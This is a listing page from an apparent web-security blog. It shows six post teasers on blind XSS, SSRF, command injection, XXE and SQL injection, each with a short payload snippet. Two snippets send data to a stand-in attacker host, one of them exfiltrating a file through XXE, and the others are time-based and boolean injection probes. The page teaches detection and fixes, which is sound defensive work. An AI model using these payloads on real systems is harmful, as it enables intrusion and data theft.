Security field notes

Understand the bug. See the exploit. Ship the fix.

Practical guides to real-world web vulnerabilities, written by the team building the scanner that finds them.

Find a vulnerability guide

50 deep-dives · 16 topics

Follow via RSS

Posts tagged #blind

6 posts

All topics Clear tag filter

Client-side & redirects new Image().src='//attacker.example/x'

Cross-Site Scripting5 min read

Blind XSS: When Your Payload Fires in an Admin Panel You Never See

Blind XSS stores a payload that executes later in a context the attacker never sees — an admin dashboard, a log viewer, a support back-office. Here is how it surfaces, why an out-of-band callback is the only way to confirm it, and how the same stored-XSS defenses shut it down.

Server-side requests & parsers http://a1b2c3.oob.attacker.example/

SSRF5 min read

Blind and Out-of-Band SSRF: Detecting the Request You Can't See

When an SSRF never reflects the fetched response, the usual proof — leaked file contents or a service banner — is gone. You confirm it instead with an out-of-band callback and map the internal network by timing and error differentials.

Injection ; sleep 2

Command Injection5 min read

Blind Command Injection: Proving Execution Through Time and DNS

When a shell runs injected input but discards output, timing and authorized callback evidence can still prove execution. Learn how to separate a real signal from noise and remove the shell boundary.

Server-side requests & parsers http://attacker.example/x?d=%file;

XML External Entity5 min read

Blind XXE: Exfiltrating Files With Out-of-Band Parameter Entities

When a vulnerable XML parser never reflects the parsed document back, XXE still leaks files. Here is how a hosted external DTD chains parameter entities to smuggle file contents out over the network, the error-based fallback when outbound traffic is blocked, and the parser settings that close it.

Injection 42 AND 1=1

SQL Injection4 min read

Boolean-Based Blind SQL Injection: Extracting Data One Bit at a Time

When an injectable endpoint displays no database output, it can still answer yes-or-no questions through response differences. Learn how the oracle works, when it is reliable, and how parameterization removes it.

Injection IF(1=1,SLEEP(2),0)

SQL Injection5 min read

Time-Based Blind SQL Injection: Reading a Database Through the Clock

When two responses are byte-for-byte identical, the database can still answer questions — by stalling. Time-based blind SQLi reads data purely from how long a request takes.